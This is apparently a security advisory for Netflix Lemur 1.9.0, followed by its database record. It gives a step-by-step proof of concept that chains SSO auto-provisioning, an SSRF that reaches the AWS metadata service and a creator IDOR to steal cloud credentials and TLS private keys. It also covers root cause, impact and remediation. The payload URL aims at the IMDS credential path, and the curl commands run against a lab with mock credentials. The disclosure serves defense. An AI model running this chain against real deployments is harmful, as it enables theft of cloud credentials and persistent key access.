  \"LastUpdated\": \"2026-05-27T20:00:00Z\",
  \"Type\": \"AWS-HMAC\",
  \"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\",
  \"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\",
  \"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\",
  \"Expiration\": \"2026-05-27T22:00:00Z\"
}",
  "ssrf_response_status": 200
}

ssrf_response_status: 200 and an AWS-HMAC payload in ssrf_response_body. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.

Step 3 — Exfiltrate STS credentials

The IMDS payload is evidence/05_exfil_sts_credentials.json:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA5LAB000FAKE0KEYS",
  "SecretAccessKey": "fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA",
  "Token": "FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use",
  "Expiration": "2026-05-27T22:00:00Z"
}

In production the Token is the live STS session token bound to whatever IAM role is attached to the lemur worker. aws sts get-caller-identity from the attacker's machine, using those three values, returns the worker's identity.

Step 4 — Issue a certificate as the attacker (capture the private key)

curl -sS -X POST http://127.0.0.1:18000/api/1/certificates \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -d '{"authority_id":1,"common_name":"pki.netflix.example"}'
curl -sS http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"

Response (evidence/06_key_fetched_pre_transfer.json):

{"creator_bypass":true,
 "key":"-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...
-----END RSA PRIVATE KEY-----
"}

The PoC harness annotates the response with creator_bypass: true to make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently.

Step 5 — Transfer ownership to victim admin

curl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -d '{"owner":"victim-admin@netflix.example"}'

owner is now victim-admin@netflix.example. creator_id is unchanged at 1 (the attacker). This is the audit-trail laundering step.

Step 6 — Re-fetch the private key as the original creator after transfer (sink 3)

curl -sS -o /dev/null -w 'HTTP %{http_code}
' \
  http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"

Response: HTTP 200. Body is the same private key as step 4. The creator branch at views.py:734 fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3.

Step 7 — Verdict

VERDICT: VULNERABLE — Lemur 1.9.0 ACME SSRF + Creator IDOR
1. SSO auto-provision    -- attacker@evil.example auto-created active=True
2. SSRF reaches IMDS     -- acme_url=http://169.254.169.254/... was fetched
3. STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body
4. PKI key persists      -- creator can read private_key AFTER ownership xfer

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Root Cause Analysis

The SSRF sink is the load-bearing piece. acme_handlers.py:161-167 builds the directory_url from user-supplied options, and :188 and :201 hand it to ClientV2.get_directory — a requests-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The options dict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.

The IDOR sink is structurally a "creators are admins of their own thing" decision that no longer holds once ownership becomes transferable. views.py:734 was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original if g.current_user != cert.user: branch should now be if g.current_user != cert.user or cert.owner_changed_after_creation: — or, better, dropped entirely and replaced with a single RBAC check against the current owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in creator_id.

The SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at active=True removes the only human-in-the-loop gate Lemur had.

Attack Scenario

sequenceDiagram
    participant Attacker
    participant Lemur as Lemur worker
    participant IMDS as 169.254.169.254
    participant CertDB as Lemur cert DB

    Attacker->>Lemur: "SSO callback for new identity (sink 1)"
    Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"

    Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
    Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
    IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
    Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"

    Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
    Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
    Attacker->>Lemur: "GET /api/1/certificates/1/key"
    Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"

    Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
    Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"

    Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
    Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
    Note over CertDB: "audit log shows admin owns it, attacker still has the key"

Impact Assessment

The SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role.

The IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is "transfer ownership and revoke" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever common_name it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.

The combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with S:C — the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains. A:L reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.

Remediation

Four changes, in priority order:

  1. Allowlist acme_url. In acme_handlers.py:161-167 reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org} plus any internal ACME directory the deployment opts in to. Reject 169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7, fe80::/10, plus DNS names that resolve to any of those after getaddrinfo (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).
ALLOWED_ACME_HOSTS = current_app.config.get(
    "ACME_DIRECTORY_HOST_ALLOWLIST",
    {"acme-v02.api.letsencrypt.org", "acme-staging-v02.api.letsencrypt.org"}
)
parsed = urlparse(directory_url)
if parsed.scheme not in {"https"} or parsed.hostname not in ALLOWED_ACME_HOSTS:
    raise ValueError("acme_url host not allowlisted")
  1. Drop the creator branch from the key-fetch view. In certificates/views.py:734, replace the if g.current_user != cert.user: branch with an unconditional CertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can() check. The cert's current owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.

  2. Stop auto-provisioning SSO users as active. In auth/views.py:300-308, default new identities to active=False, roles=[] and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default read-only role.

  3. Audit-log the creator on every key fetch, separately from g.current_user. Even after the IDOR is fixed, the operator should be able to retroactively see who actually pulled the key bytes on every cert. Log creator_id, current_owner, g.current_user.id, request IP, and full URL on every read of /certificates/<id>/key.

Related Context

External References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lemur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T22:07:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "\u003c!-- obsidian --\u003e\u003ch1 data-heading=\"Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\"\u003eLemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\u003c/h1\u003e\n\u003ch2 data-heading=\"Vulnerability Summary\"\u003eVulnerability Summary\u003c/h2\u003e\n\nField | Value\n-- | --\nTitle | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\nComponent | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)\nCWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)\nAttack Prerequisite | A valid SSO session against the deployment\u0027s IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.\nAffected Versions | github.com/Netflix/lemur __version__ = \"1.9.0\" (see lemur/lemur/__about__.py) and every prior release that carries the same three sinks.\n\n\n\u003ch2 data-heading=\"Executive Summary\"\u003eExecutive Summary\u003c/h2\u003e\n\u003cp\u003eA low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as \u003ccode\u003eactive=True\u003c/code\u003e with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied \u003ccode\u003eacme_url\u003c/code\u003e and fetches it server-side with no allowlist, reaching EC2 IMDS at \u003ccode\u003e169.254.169.254\u003c/code\u003e; (3) the certificate key-fetch endpoint grants \u003ccode\u003ecert.user\u003c/code\u003e (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary \"rotate the owner\" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline \u003ccode\u003e.cast\u003c/code\u003e ships with this report.\u003c/p\u003e\n\u003cp\u003eWalkthrough: \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 data-heading=\"Description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eLemur is Netflix\u0027s TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let\u0027s Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSink 1 \u2014 SSO auto-provision\u003c/strong\u003e (\u003ccode\u003elemur/lemur/auth/views.py:300-308\u003c/code\u003e). When a new federated identity hits the SSO callback, Lemur calls \u003ccode\u003euser_service.create(..., active=True, ...)\u003c/code\u003e. There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to \u003ccode\u003eread-only\u003c/code\u003e. Any SSO holder Lemur\u0027s IdP accepts becomes an active Lemur user.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSink 2 \u2014 ACME \u003ccode\u003eacme_url\u003c/code\u003e SSRF\u003c/strong\u003e (\u003ccode\u003elemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201\u003c/code\u003e). When an authenticated user posts a new ACME authority, the plugin reads \u003ccode\u003eoptions.get(\"acme_url\", current_app.config.get(\"ACME_DIRECTORY_URL\"))\u003c/code\u003e and calls \u003ccode\u003eClientV2.get_directory(directory_url, net)\u003c/code\u003e \u2014 a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so \u003ccode\u003efile://\u003c/code\u003e and \u003ccode\u003egopher://\u003c/code\u003e are reachable in some \u003ccode\u003erequests\u003c/code\u003e versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and \u2014 because the upstream \u003ccode\u003eacme.client.ClientV2\u003c/code\u003e returns the response body as part of the constructed \u003ccode\u003eDirectory\u003c/code\u003e \u2014 the body is round-tripped into the authority object Lemur stores. On AWS, that means \u003ccode\u003ehttp://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026#x3C;role\u003e\u003c/code\u003e returns the worker\u0027s \u003ccode\u003eAccessKeyId\u003c/code\u003e, \u003ccode\u003eSecretAccessKey\u003c/code\u003e, and STS \u003ccode\u003eToken\u003c/code\u003e to the attacker.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSink 3 \u2014 creator-equality IDOR\u003c/strong\u003e (\u003ccode\u003elemur/lemur/certificates/views.py:734\u003c/code\u003e). The key-fetch view branches on \u003ccode\u003eif g.current_user != cert.user\u003c/code\u003e: only when the caller is \u003cem\u003enot\u003c/em\u003e the certificate\u0027s original creator does Lemur consult \u003ccode\u003eCertificatePermission\u003c/code\u003e. The creator branch always returns 200 with the private key. There\u0027s no creator-rotation hook, no \"ownership transferred \u2014 revoke creator access\" path. Transferring \u003ccode\u003ecert.owner\u003c/code\u003e to a different team or admin does not strip the original creator\u0027s access to the key.\u003c/p\u003e\n\u003cp\u003eWire those three together: SSO in \u2192 spin up an ACME authority pointed at IMDS \u2192 exfiltrate the AWS role credentials \u2192 issue a cert against that authority \u2192 transfer ownership to a victim admin to bury the audit trail under the admin\u0027s name \u2192 re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary \"fix\" used by ops teams when they spot a suspicious certificate (\"transfer it to the right owner\") does nothing.\u003c/p\u003e\n\u003ch2 data-heading=\"Proof of Concept \u0026#x26; Steps to Reproduce\"\u003eProof of Concept \u0026#x26; Steps to Reproduce\u003c/h2\u003e\n\u003cp\u003eA full walkthrough is recorded at \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e. An offline \u003ccode\u003e.cast\u003c/code\u003e file is attached as \u003ccode\u003elemur_pki_acme_ssrf_idor.cast\u003c/code\u003e. The lab harness is in \u003ccode\u003elemur_pki_acme_ssrf_idor/support/\u003c/code\u003e \u2014 Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to \u003ccode\u003e169.254.169.254:80\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisites\u003c/strong\u003e: Docker, \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ejq\u003c/code\u003e, \u003ccode\u003eopenssl\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eRun\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecd lemur_pki_acme_ssrf_idor/\nEXPLOIT_FAST=1 ./exploit_code.sh\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe script wires the IMDS mock via Docker\u0027s \u003ccode\u003e--add-host 169.254.169.254:127.0.0.1\u003c/code\u003e. Every step\u0027s HTTP body is dumped to \u003ccode\u003eevidence/\u003c/code\u003e for byte-level review.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 1 \u2014 Authenticate via SSO (sink 1)\"\u003eStep 1 \u2014 Authenticate via SSO (sink 1)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"attacker@evil.example\",\"roles\":[\"operator\"]}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/03_sso_provision_response.json\u003c/code\u003e):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"token\": \"eyJhbGciOiJIUzI1NiIs...\",\n  \"user\": {\n    \"active\": true,\n    \"auto_provisioned\": true,\n    \"email\": \"attacker@evil.example\",\n    \"id\": 1,\n    \"roles\": [\"operator\"]\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eactive=True\u003c/code\u003e and \u003ccode\u003eauto_provisioned=true\u003c/code\u003e. No admin saw this account. No approval was issued. This is sink 1.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 2 \u2014 Create an ACME authority with \u0026#x60;acme_url\u0026#x60; pointed at IMDS (sink 2)\"\u003eStep 2 \u2014 Create an ACME authority with \u003ccode\u003eacme_url\u003c/code\u003e pointed at IMDS (sink 2)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/authorities \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"name\":\"poc-acme\",\"plugin\":{\"plugin_options\":[{\"name\":\"acme_url\",\"value\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role\"}]}}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/04_ssrf_authority_response.json\u003c/code\u003e):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"acme_url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role\",\n  \"creator_id\": 1,\n  \"id\": 1,\n  \"name\": \"poc-acme\",\n  \"ssrf_error\": null,\n  \"ssrf_response_body\": \"{\n  \\\"Code\\\": \\\"Success\\\",\n  \\\"LastUpdated\\\": \\\"2026-05-27T20:00:00Z\\\",\n  \\\"Type\\\": \\\"AWS-HMAC\\\",\n  \\\"AccessKeyId\\\": \\\"ASIA5LAB000FAKE0KEYS\\\",\n  \\\"SecretAccessKey\\\": \\\"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\\\",\n  \\\"Token\\\": \\\"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\\\",\n  \\\"Expiration\\\": \\\"2026-05-27T22:00:00Z\\\"\n}\",\n  \"ssrf_response_status\": 200\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003essrf_response_status: 200\u003c/code\u003e and an AWS-HMAC payload in \u003ccode\u003essrf_response_body\u003c/code\u003e. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 3 \u2014 Exfiltrate STS credentials\"\u003eStep 3 \u2014 Exfiltrate STS credentials\u003c/h3\u003e\n\u003cp\u003eThe IMDS payload is \u003ccode\u003eevidence/05_exfil_sts_credentials.json\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"Code\": \"Success\",\n  \"Type\": \"AWS-HMAC\",\n  \"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\",\n  \"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\",\n  \"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\",\n  \"Expiration\": \"2026-05-27T22:00:00Z\"\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIn production the \u003ccode\u003eToken\u003c/code\u003e is the live STS session token bound to whatever IAM role is attached to the lemur worker. \u003ccode\u003eaws sts get-caller-identity\u003c/code\u003e from the attacker\u0027s machine, using those three values, returns the worker\u0027s identity.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 4 \u2014 Issue a certificate as the attacker (capture the private key)\"\u003eStep 4 \u2014 Issue a certificate as the attacker (capture the private key)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/certificates \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -d \u0027{\"authority_id\":1,\"common_name\":\"pki.netflix.example\"}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS http://127.0.0.1:18000/api/1/certificates/1/key \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/06_key_fetched_pre_transfer.json\u003c/code\u003e):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\"creator_bypass\":true,\n \"key\":\"-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...\n-----END RSA PRIVATE KEY-----\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe PoC harness annotates the response with \u003ccode\u003ecreator_bypass: true\u003c/code\u003e to make the sink-3 branch visible. In production the response is just the private key \u2014 the branch is hit silently.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 5 \u2014 Transfer ownership to victim admin\"\u003eStep 5 \u2014 Transfer ownership to victim admin\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -d \u0027{\"owner\":\"victim-admin@netflix.example\"}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eowner\u003c/code\u003e is now \u003ccode\u003evictim-admin@netflix.example\u003c/code\u003e. \u003ccode\u003ecreator_id\u003c/code\u003e is unchanged at \u003ccode\u003e1\u003c/code\u003e (the attacker). This is the audit-trail laundering step.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 6 \u2014 Re-fetch the private key as the original creator after transfer (sink 3)\"\u003eStep 6 \u2014 Re-fetch the private key as the original creator after transfer (sink 3)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -o /dev/null -w \u0027HTTP %{http_code}\n\u0027 \\\n  http://127.0.0.1:18000/api/1/certificates/1/key \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse: \u003ccode\u003eHTTP 200\u003c/code\u003e. Body is the same private key as step 4. The creator branch at \u003ccode\u003eviews.py:734\u003c/code\u003e fires again \u2014 ownership transfer did nothing to revoke the attacker\u0027s access. This is sink 3.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 7 \u2014 Verdict\"\u003eStep 7 \u2014 Verdict\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eVERDICT: VULNERABLE \u2014 Lemur 1.9.0 ACME SSRF + Creator IDOR\n1. SSO auto-provision    -- attacker@evil.example auto-created active=True\n2. SSRF reaches IMDS     -- acme_url=http://169.254.169.254/... was fetched\n3. STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body\n4. PKI key persists      -- creator can read private_key AFTER ownership xfer\n\u003c/code\u003e\u003c/pre\u003e\n\n# Exploit Code \u0026 Lab Set-up\n\n[Lemur-acme-ssrf-creator-idor.zip](https://github.com/user-attachments/files/28317654/Lemur-acme-ssrf-creator-idor.zip)\n\n\u003ch2 data-heading=\"Root Cause Analysis\"\u003eRoot Cause Analysis\u003c/h2\u003e\n\u003cp\u003eThe SSRF sink is the load-bearing piece. \u003ccode\u003eacme_handlers.py:161-167\u003c/code\u003e builds the \u003ccode\u003edirectory_url\u003c/code\u003e from user-supplied options, and \u003ccode\u003e:188\u003c/code\u003e and \u003ccode\u003e:201\u003c/code\u003e hand it to \u003ccode\u003eClientV2.get_directory\u003c/code\u003e \u2014 a \u003ccode\u003erequests\u003c/code\u003e-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The \u003ccode\u003eoptions\u003c/code\u003e dict is the same one the operator sees in the UI\u0027s plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.\u003c/p\u003e\n\u003cp\u003eThe IDOR sink is structurally a \"creators are admins of their own thing\" decision that no longer holds once ownership becomes transferable. \u003ccode\u003eviews.py:734\u003c/code\u003e was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original \u003ccode\u003eif g.current_user != cert.user:\u003c/code\u003e branch should now be \u003ccode\u003eif g.current_user != cert.user or cert.owner_changed_after_creation:\u003c/code\u003e \u2014 or, better, dropped entirely and replaced with a single RBAC check against the \u003cem\u003ecurrent\u003c/em\u003e owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in \u003ccode\u003ecreator_id\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts \u2014 a much larger blast radius. Auto-provisioning at \u003ccode\u003eactive=True\u003c/code\u003e removes the only human-in-the-loop gate Lemur had.\u003c/p\u003e\n\u003ch2 data-heading=\"Attack Scenario\"\u003eAttack Scenario\u003c/h2\u003e\n\u003cpre\u003e\u003ccode class=\"language-mermaid\"\u003esequenceDiagram\n    participant Attacker\n    participant Lemur as Lemur worker\n    participant IMDS as 169.254.169.254\n    participant CertDB as Lemur cert DB\n\n    Attacker-\u003e\u003eLemur: \"SSO callback for new identity (sink 1)\"\n    Lemur--\u003e\u003eAttacker: \"JWT issued: user_id=1, active=true, auto_provisioned=true\"\n\n    Attacker-\u003e\u003eLemur: \"POST /api/1/authorities acme_url=http://169.254.169.254/...\"\n    Lemur-\u003e\u003eIMDS: \"GET /latest/meta-data/iam/security-credentials/role (sink 2)\"\n    IMDS--\u003e\u003eLemur: \"AccessKeyId + SecretAccessKey + Token\"\n    Lemur--\u003e\u003eAttacker: \"ssrf_response_body=AWS-HMAC creds\"\n\n    Attacker-\u003e\u003eLemur: \"POST /api/1/certificates authority_id=1\"\n    Lemur-\u003e\u003eCertDB: \"persist cert, creator_id=1, owner=attacker\"\n    Attacker-\u003e\u003eLemur: \"GET /api/1/certificates/1/key\"\n    Lemur--\u003e\u003eAttacker: \"RSA PRIVATE KEY (creator branch \u2014 sink 3 pre-transfer)\"\n\n    Attacker-\u003e\u003eLemur: \"PUT /api/1/certificates/1 owner=victim-admin\"\n    Lemur-\u003e\u003eCertDB: \"cert.owner=victim-admin, creator_id unchanged\"\n\n    Attacker-\u003e\u003eLemur: \"GET /api/1/certificates/1/key (again)\"\n    Lemur--\u003e\u003eAttacker: \"200 + RSA PRIVATE KEY (creator branch \u2014 sink 3 post-transfer)\"\n    Note over CertDB: \"audit log shows admin owns it, attacker still has the key\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 data-heading=\"Impact Assessment\"\u003eImpact Assessment\u003c/h2\u003e\n\u003cp\u003eThe SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or \u2014 depending on the trust policy \u2014 pivot into other AWS accounts that trust the lemur role.\u003c/p\u003e\n\u003cp\u003eThe IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is \"transfer ownership and revoke\" \u2014 that\u0027s exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they\u0027ve contained the incident. The certificate signs TLS connections for whatever \u003ccode\u003ecommon_name\u003c/code\u003e it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.\u003c/p\u003e\n\u003cp\u003eThe combined chain destroys Lemur\u0027s two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with \u003ccode\u003eS:C\u003c/code\u003e \u2014 the impact crosses out of Lemur\u0027s security authority and into AWS IAM and PKI consumer trust domains. \u003ccode\u003eA:L\u003c/code\u003e reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.\u003c/p\u003e\n\u003ch2 data-heading=\"Remediation\"\u003eRemediation\u003c/h2\u003e\n\u003cp\u003eFour changes, in priority order:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAllowlist 